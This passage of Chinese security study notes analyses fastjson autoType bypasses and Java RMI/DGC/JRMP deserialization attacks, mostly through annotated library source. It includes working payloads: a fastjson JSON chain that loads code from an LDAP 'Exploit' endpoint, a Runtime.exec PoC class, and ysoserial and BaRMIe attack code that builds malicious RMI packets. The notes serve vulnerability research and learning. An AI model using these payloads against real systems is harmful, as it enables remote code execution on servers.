                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
    
                        return clazz;
                    }
                }
            }
            //通过以上全部检查,就可以从这里读取clazz
            if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            }
    
            //这里对一些特殊的class进行处理,不重要
    
           //特性判断等
    
            return clazz;
        }
    

    白名单关闭时直接匹配黑名单(G),只能在匹配到黑名单之前搞些事情。
    白名单开启时只要满足 TypeUtils.getClassFromMapping(typeName) != null 就能直接 return,从而跳过黑名单的限制。
    而这里的 if 执行结果取决于前面的这两个方法:
    1. TypeUtils.getClassFromMapping(typeName)
    2. deserializers.findClass(typeName)

    其中在 TypeUtils.getClassFromMapping(typeName) 中
    //这个map是一个hashmap
    private static ConcurrentMap> mappings = new ConcurrentHashMap>(16, 0.75f, 1);
        ...
        public static Class getClassFromMapping(String className){
            //很简单的一个mapping的get
            return mappings.get(className);
        }
    

    找一下哪里有能用的 mappings.put ,发现了这里 TypeUtils.loadClass
    public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
            //判断className是否为空,是的话直接返回null
            if(className == null || className.length() == 0){
                return null;
            }
            //判断className是否已经存在于mappings中
            Class clazz = mappings.get(className);
            if(clazz != null){
                //是的话,直接返回
                return clazz;
            }
            //判断className是否是[开头,1.2.44中针对限制的东西就是这个
            if(className.charAt(0) == '['){
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
            if(className.startsWith("L") && className.endsWith(";")){
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
            //1. 我们需要关注的mappings在这里有
            try{
                //输入的classLoader不为空时
                if(classLoader != null){
                    //调用加载器去加载我们给的className
                    clazz = classLoader.loadClass(className);
                    //!!如果cache为true!!
                    if (cache) {
                        //往我们关注的mappings中写入这个className
                        mappings.put(className, clazz);
                    }
                    return clazz;//返回加载出来的类
                }
            } catch(Throwable e){
                e.printStackTrace();
                // skip
            }
            //2. 在这里也有,但是好像这里有关线程,比较严格。
            try{
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if(contextClassLoader != null && contextClassLoader != classLoader){
                    clazz = contextClassLoader.loadClass(className);
                    //同样需要输入的cache为true,才有可能修改
                    if (cache) {
                        mappings.put(className, clazz);
                    }
                    return clazz;
                }
            } catch(Throwable e){
                // skip
            }
            //3. 这里也有,限制很松
            try{
                //加载类
                clazz = Class.forName(className);
                //直接放入mappings中
                mappings.put(className, clazz);
                return clazz;
            } catch(Throwable e){
                // skip
            }
            return clazz;
        }
    

    如果可以控制参数就可以向 mapping 中添加任意类,让前一个的 mapping.get 返回不为 null,从而绕过黑名单。
    找一下调用 TypeUtils.loadClass 并且参数满足条件的地方(),这里MiscCodec.java#deserialze
    public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
            JSONLexer lexer = parser.lexer;
    
            //4. clazz类型等于InetSocketAddress.class的处理。
            //我们需要的clazz必须为Class.class,不进入
            if (clazz == InetSocketAddress.class) {
                ...
            }
    
            Object objVal;
            //3. 下面这段赋值objVal这个值
            //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
            if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
                //当parser.resolveStatus的值为  TypeNameRedirect
                parser.resolveStatus = DefaultJSONParser.NONE;
                parser.accept(JSONToken.COMMA);
                //lexer为json串的下一处解析点的相关数据
                 //如果下一处的类型为string
                if (lexer.token() == JSONToken.LITERAL_STRING) {
                    //判断解析的下一处的值是否为val,如果不是val,报错退出
                    if (!"val".equals(lexer.stringVal())) {
                        throw new JSONException("syntax error");
                    }
                    //移动lexer到下一个解析点
                    //举例:"val":(移动到此处->)"xxx"
                    lexer.nextToken();
                } else {
                    throw new JSONException("syntax error");
                }
    
                parser.accept(JSONToken.COLON);
                //此处获取下一个解析点的值"xxx"赋值到objVal
                objVal = parser.parse();
    
                parser.accept(JSONToken.RBRACE);
            } else {
                //当parser.resolveStatus的值不为TypeNameRedirect
                //直接解析下一个解析点到objVal
                objVal = parser.parse();
            }
    
            String strVal;
            //2. 可以看到strVal是由objVal赋值,继续往上看
            if (objVal == null) {
                strVal = null;
            } else if (objVal instanceof String) {
                strVal = (String) objVal;
            } else {
                //不必进入的分支
            }
    
            if (strVal == null || strVal.length() == 0) {
                return null;
            }
    
            //省略诸多对于clazz类型判定的不同分支。
    
            //1. 可以得知,我们的clazz必须为Class.class类型
            if (clazz == Class.class) {
                //我们由这里进来的loadCLass
                //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
                return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
            }
    

    接下来要关注的是 parser.resolveStatus(要对它的值进行判断)
    1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。
    2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类

    poc:
    {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
    

    20200102094438-6fc52b08-2d01-1
    payload:
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "ldap://localhost:1389/Exploit", 
            "autoCommit": true
        }
    }
    
  • 1.2.48 修复


    上一个会调用第二个 mappings.put,还有一个要满足的条件是 cache 为 true(默认)
    直接改成 false了。
  • 1.2.62-67 又能打了


    其实就是有新的 gadget 绕黑名单,但前提还是要开 AutoType,同时还有很多 jar 包和 java版本限制。
  • 1.2.68(expectClass 绕过 AutoType)


    绕 fastjson 的核心就是绕 checkAutoType() 函数,先看一下通过 checkAutoType() 校验的方式
    1.白名单里的类
    2.开启了autotype
    3.使用了JSONType注解
    4.指定了期望类(expectClass)
    5.缓存在mapping中的类
    6.使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
    

    这次用的第4种,当传入 checkAutoType() 的 expectClass 不为 null 的时候(默认为 null),并且要实例化的类是 expectClass 的子类或其实现时,会将传入的类视作一个合法类,但因为 黑名单检测在 loadClass 之前,所以不能绕过黑名单,最后 loadClass 就会返回该类的 class。
    但是 checkAutoType 默认的 expectClass 为 null,那么我们的思路就变成了先调用一个 expectClass 参数不为 null 的 checkAutoType(),再利用这次调用中的 expectClass 的子类或接口们做一些事情。
    可以直接把 expectClass 参数传递给 checkAutoType() 的类有两个
    1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
    2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
    

    那么思路就是:@type(1) 的 class => 通过 CheckAutoType 并调用 deserialze() => 触发调用第二个 checkAutoType() => @type(2) 的 class(恶意类)
    其中实现对应的分别为:AutoCloseable 类 和 Throwabl e类。
    VulAutoCloseable.java
    package 版本68;
    
    public class VulAutoCloseable implements AutoCloseable {
    
        public VulAutoCloseable(String cmd) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void close() throws Exception {
    
        }
    }
    
    

    poc.java:
    package 版本68;
    
    import com.alibaba.fastjson.JSON;
    
    public class poc {
        public static void main(String[] args) {
            String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"版本68.VulAutoCloseable\",\"cmd\":\"calc\"}";
            JSON.parse(poc);
        }
    }
    
    

    在 CheckAutoType 中打断点调试,如果 expectClass 不为 null 且不在指定 class 中就会把 expertClassFlag 设置为 true,
    image-20220213004934230
    然后是先进行内部白名单和内部黑名单查询,
    image-20220213005159567
    如果非是内部白名单,并且开启 autoTypeSupport 或者 expectClass 不为空时会进行黑白名单查找,
    image-20220213005314669
    查找后调用 TypeUtils.getClassFromMapping 查找 class ,第一次传入的是 AutoCloseable,因此能正常加载,
    image-20220213010127039
    在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,然后就会用 JavaBeanDeserializer 执行 deserialze,注意这里传入的参数是 AutoCloseable
    image-20220213010620811
    跟进 deserialze ,发现这里的 checkAutoType 传入了 expectClass,也就是之前的 AutoCloseable
    image-20220213010919699
    进入黑白名单环节
    image-20220213011213308
    autoTypeSupport 为 false,接着往下走
    image-20220213012524387
    jsonType 为 false,不会返回,继续往下执行
    image-20220213013202871
    然后因为 expectClass 不为空,把恶意类加载到内存中
    image-20220213013257002
    之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用
  • 参考文献


 

RMI攻击学习

主要根据这篇复习的https://xz.aliyun.com/t/7930,中间加了些自己的思考和补充。

代码地址:https://github.com/lalajun/RMIDeserialize

20200701101308-6810e0aa-bb40-1

  • RMI客户端反序列化攻击RMI服务端

  • RMI服务端反序列化攻击RMI注册端


    IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
            //一处接口hash验证
            if (var4 != 4905912898345647071L) {
                throw new SkeletonMismatchException("interface hash mismatch");
            } else {
            //设定变量开始处理请求
                //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
                RegistryImpl var6 = (RegistryImpl)var1;
                //接受客户端输入流的参数变量
                String var7;
                Remote var8;
                ObjectInput var10;
                ObjectInput var11;
                //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
                //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
                //super.ref.newCall(this, operations, 0, 4905912898345647071L);
                switch(var3) {
                //统一删除了try等语句
                case 0:
                        //bind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //1.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.bind(var7, var8);
                case 1:
                        //list()分支
                        var2.releaseInputStream();
                        String[] var97 = var6.list();
                        ObjectOutput var98 = var2.getResultStream(true);
                        var98.writeObject(var97);
    
                case 2:
                      //lookup(String)分支
                        var10 = var2.getInputStream();
                        //2.反序列化触发处
                        var7 = (String)var10.readObject();
                        var8 = var6.lookup(var7);
    
                case 3:
                      //rebind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //3.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.rebind(var7, var8);
    
                case 4:
                        //unbind(String)分支
                        var10 = var2.getInputStream();
                        //4.反序列化触发处
                        var7 = (String)var10.readObject();
                        var6.unbind(var7);
                default:
                    throw new UnmarshalException("invalid method number");
                }
    
            }
        }
    

    从这里看到有 4 个分支可以触发反序列化,分为了两种情况
    • lookup & unbind (String类型)
    • bind & rebind (Remote 和 String)

    有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功
    看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
           Registry reg;
            
            //Execute a dummy attack
            try {
                //1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
                proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
                proxy.startProxy();
                
                //2.获取这个RMI对象,调用其bind方法
                reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
                
                reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
            } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
                //3.重构客户端输出的数据包,改变其内容为预设好的一个Object
                if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
                    //4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。
                    if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
                        //Test payload was filtered, likely this attack isn't possible
                        return false;
                    }
                }
            } finally {
                //Stop the proxy
                if(proxy != null) {
                    proxy.stopProxy(true);
                }
            }
            
            //如果没有匹配到就说明可以攻击。
            return true;
        }
    

    攻击模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack
    public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
        RMIBindExploitProxy proxy = null;//代理器
        Registry reg;
        //已删去try部分
        //1.初始化一个bind RMI注册端代理器
        //我们的payload从这里给入
        proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
        proxy.startProxy();
    
        //2.从RMI注册端代理器获取一个注册端对象
        reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
    
        //3.通过RMI注册端代理器调用bind,修改参数为给定的payload
        //reg.bind(随机字符串,一个接口需要的Remote接口)
        //但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
        reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
    }
    
    private static class BaRMIeBindExploit implements Remote, Serializable {
    }
    

    具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
    public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
            ByteArrayOutputStream out;
            int blockLen;
            byte[] dataBytes;
            //获取输入的长度
            dataBytes = data.toByteArray();
            //判断这个输入包是不是一个RMI调用包,如果是的话进行修改
            if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
                //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
                blockLen = (int)(dataBytes[6] & 0xff);
    
                //自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
                out = new ByteArrayOutputStream();
                out.write(dataBytes, 0, blockLen + 7);
    
                //在后面写入我们给定的payload
                out.write(this._payload, 0, this._payload.length);
    
                //最后给一个NULL标签(作为bind方法的第二个参数)
                out.write((byte)0x70);
    
                //把新的数据包发送给服务端
                return out;
            } else {
                //不是RMI调用的数据包就直接发送
                return data;
            }
        }
    

    这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
    翻一下 ysoserial.exploit.RMIRegistryExploit#exploit
    public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                //获取payload
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //将payload封装成Map
                //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
                //变为Remote类型
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                try {
                    //封装的remote类型,通过RMI客户端的正常接口发出去
                    registry.bind(name, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    }
    

    使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行。
    public static  T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception {
        //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
        //iface是被动态代理的接口
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    //这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
    //传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
    public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    //正式开始绑定代理动态代理
    //ih 拦截器
    //iface 需要被代理的类
    //ifaces 这里没有
    public static  T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) {
        final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        //上面整合了一下需要代理的接口到allIfaces里面
        //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
        //(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
        //iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
    

    现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
    动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
    但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
    这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
    //加个Remote接口的类,要支持序列化
    private static class BindExploit implements Remote, Serializable {
        //弄个地方放payload
        private final Object memberValues;
    
        private BindExploit(Object payload) {
            memberValues = payload;
        }
    }
        public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //yso动态代理包装
                //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                //自己包装
                Remote remote_lala = new BindExploit(payload);
    
                try {
                    //registry.bind(name, remote);
                    //自己包装
                     registry.bind(name, remote_lala);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    
  • 修复后的绕过


    在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
    private static Status registryFilter(FilterInfo var0) {
        //这里registryFilter为空跳过该判断
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }
        //不允许输入流的递归层数超过20层,超过就报错
        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            //获取输入流序列化class类型到var2
            Class var2 = var0.serialClass();
            //判断是否为null,null就报错
            if (var2 == null) {
                return Status.UNDECIDED;
            } else {
                //判断是否为数组类型
                if (var2.isArray()) {
                    //数组长度大于10000就报错
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
                        return Status.REJECTED;
                    }
                    //获取到数组中的成分类,假如是还是数组嵌套,继续获取
                    do {
                        var2 = var2.getComponentType();
                    } while(var2.isArray());
                }
                //判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
                //是基本类就允许
                if (var2.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    //判断我们的输入的序列化类型是否为以下的几类class白名单之中
                    //如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
                    //不然就返回REJECTED报错。
                    return String.class != var2 && 
                        !Number.class.isAssignableFrom(var2) && 
                        !Remote.class.isAssignableFrom(var2) && 
                        !Proxy.class.isAssignableFrom(var2) && 
                        !UnicastRef.class.isAssignableFrom(var2) && 
                        !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
                        !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
                        !ActivationID.class.isAssignableFrom(var2) && 
                        !UID.class.isAssignableFrom(var2) ? 
                        Status.REJECTED : Status.ALLOWED;
                }
            }
        }
        }
    

    经过递归检测,AnnotationInvocationHandler 被拦下来了。
  • 关于地址校验


    RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
    原因是因为 注册端对于服务端的验证在反序列化操作之后
    image-20220206152202431
    image-20220206152220822
    在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。
  • RMI DGC层反序列化(其实是 JRMP 层的原理)


    DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
    用 yso 的 JRMP 打
    image-20220206154114445
    跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一样是一个dispatch用于分发作用的方法
        //固定接口hash校验
        if (var4 != -669196253586618813L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            DGCImpl var6 = (DGCImpl)var1;
            ObjID[] var7;
            long var8;
            //判断dirty和clean分支流
            switch(var3) {
                //clean分支流
                case 0:
                    VMID var39;
                    boolean var40;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var14 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var14.readObject();
                        var8 = var14.readLong();
                        var39 = (VMID)var14.readObject();
                        var40 = var14.readBoolean();
                    } catch (IOException var36) {
                        throw new UnmarshalException("error unmarshalling arguments", var36);
                    } catch (ClassNotFoundException var37) {
                        throw new UnmarshalException("error unmarshalling arguments", var37);
                    } finally {
                        var2.releaseInputStream();
                    }
                  //进行clean操作,已经完成了攻击,之后操作已经不重要了。
                    var6.clean(var7, var8, var39, var40);
    
                    //..省略部分无关操作
                //dirty方法分支流,跟clean在漏洞触发点上是一样没差的
                case 1:
                    Lease var10;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var13 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var13.readObject();
                        var8 = var13.readLong();
                        var10 = (Lease)var13.readObject();
                    } catch (IOException var32) {
                        throw new UnmarshalException("error unmarshalling arguments", var32);
                    } catch (ClassNotFoundException var33) {
                        throw new UnmarshalException("error unmarshalling arguments", var33);
                    } finally {
                        var2.releaseInputStream();
                    }
    
                    Lease var11 = var6.dirty(var7, var8, var10);
    
                   //..省略无关操作
                default:
                    throw new UnmarshalException("invalid method number");
            }
        }
    

    找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
    调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                //开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    //获取连接的输入流
                    ObjectOutput var6 = var5.getOutputStream();
                    //写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
                    //***这里就是我们payload写入的地方***
                    var6.writeObject(var1);
                    //------
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
    
                super.ref.invoke(var5);
    
                Lease var24;
                try {
                    ObjectInput var9 = var5.getInputStream();
                    var24 = (Lease)var9.readObject();
                //省略大量错误处理..
        }
    

    这就是DGC客户端该放payload的地方了。
    针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
    Ysoserial 的 JRMP-Client 的实现:
    //传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
            InetSocketAddress isa = new InetSocketAddress(hostname, port);
            Socket s = null;
            DataOutputStream dos = null;
            try {
                //建立一个socket通道,并为赋值
                s = SocketFactory.getDefault().createSocket(hostname, port);
                s.setKeepAlive(true);
                s.setTcpNoDelay(true);
               //读取socket通道的数据流
                OutputStream os = s.getOutputStream();
                dos = new DataOutputStream(os);
               //*******开始拼接数据流*********
                //以下均为特定协议格式常量,之后会说到这些数据是怎么来的
                //传输魔术字符:0x4a524d49(代表协议)
                dos.writeInt(TransportConstants.Magic);
                //传输协议版本号:2(就是版本号)
                dos.writeShort(TransportConstants.Version);
                //传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
                dos.writeByte(TransportConstants.SingleOpProtocol);
               //传输指令-RMI call:0x50 
                dos.write(TransportConstants.Call);
    
                @SuppressWarnings ( "resource" )
                final ObjectOutputStream objOut = new MarshalOutputStream(dos);
               //DGC的固定读取格式,等会具体分析
                objOut.writeLong(2); // DGC
                objOut.writeInt(0);
                objOut.writeLong(0);
                objOut.writeShort(0);
               //选取DGC服务端的分支选dirty
                objOut.writeInt(1); // dirty
                //然后一个固定的hash值
                objOut.writeLong(-669196253586618813L);
                //我们的反序列化触发点
                objOut.writeObject(payloadObject);
    
                os.flush();
            }
        }
    

    详见。。。算了不见就不见了吧
    20200622140434-3edd6486-b44e-1
    这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。
  • JRMP 服务端打 JRMP 客户端


    在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
    public void invoke(RemoteCall call) throws Exception {
            try {
                //写个日志,不管
                clientRefLog.log(Log.VERBOSE, "execute call");
               //跟进此处
                call.executeCall();
                //...省略一堆报错处理
    

    而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
    public void executeCall() throws Exception {
            byte returnType;
    
            // read result header
            DGCAckHandler ackHandler = null;
            try {
                //...这里发包和接受返回状态returnType和返回包数据流in
                returnType = in.readByte();  //1. 反序列化一个returnType
                in.readID();        // 2. 反序列化一个id for DGC acknowledgement
                //具体细节比较复杂不看了
            } catch (UnmarshalException e) {
                //..略..
            }
    
            // 处理returnType返回状态
            switch (returnType) {
            //这是常量1
            case TransportConstants.NormalReturn:
                break;
            //这是常量2
            case TransportConstants.ExceptionalReturn:
                Object ex;
                try {
                    //3. 从服务端返回数据流in中读取,并反序列化
                    //***漏洞触发点***
                    ex = in.readObject();
                    //省略之后代码
    

    这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
    要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
    sun.rmi.transport.StreamRemoteCall#getResultStream
    public ObjectOutput getResultStream(boolean success) throws IOException {
        if (resultStarted)
            throw new StreamCorruptedException("result already in progress");
        else
            resultStarted = true;
    
        DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
        wr.writeByte(TransportConstants.Return);
        getOutputStream(true);  
        //success为false,进入我们的分支
        if (success)  
            out.writeByte(TransportConstants.NormalReturn);
        else
            //*******这里第一个序列化returnType*******
            out.writeByte(TransportConstants.ExceptionalReturn);
        //第二个序列化一个ID
        out.writeID();          // write id for gcAck
        return out;
    }
    

    然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
    //这里出来
    ObjectOutput out = call.getResultStream(false);
    if (e instanceof Error) {
        e = new ServerError(
            "Error occurred in server thread", (Error) e);
    } else if (e instanceof RemoteException) {
        e = new ServerException(
            "RemoteException occurred in server thread",
            (Exception) e);
    }
    if (suppressStackTraces) {
        clearStackTraces(e);
    }
    //第三处序列化:序列化写入报错信息,也就是payload插入处
    out.writeObject(e);
    

    但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
    JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
    因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤!
    攻击流程:
    20200622151053-82ab02d2-b457-1
    1. RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
    2. 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
    3. RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。

    原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
    从 bind 连接开始看
    try {
        var9 = var2.getInputStream();//var2是我们的输入流
        var7 = (String)var9.readObject();//略过
        //payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
        //在其中完成了ref的填装
        var80 = (Remote)var9.readObject();
    } catch (ClassNotFoundException | IOException var77) {
        throw new UnmarshalException("error unmarshalling arguments", var77);
    } finally {
        //在这里处理ref的时候才真正完成了触发
        var2.releaseInputStream();
    }
    

    一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
    然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
    void registerRefs() throws IOException {
        if (!this.incomingRefTable.isEmpty()) {
            //遍历incomingRefTable
            Iterator var1 = this.incomingRefTable.entrySet().iterator();
            while(var1.hasNext()) {
                Entry var2 = (Entry)var1.next();
                //开始一个个去DGC注册
                DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
            }
        }
    }
    

    进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
    public boolean registerRefs(List refs) {
                assert !Thread.holdsLock(this);
    
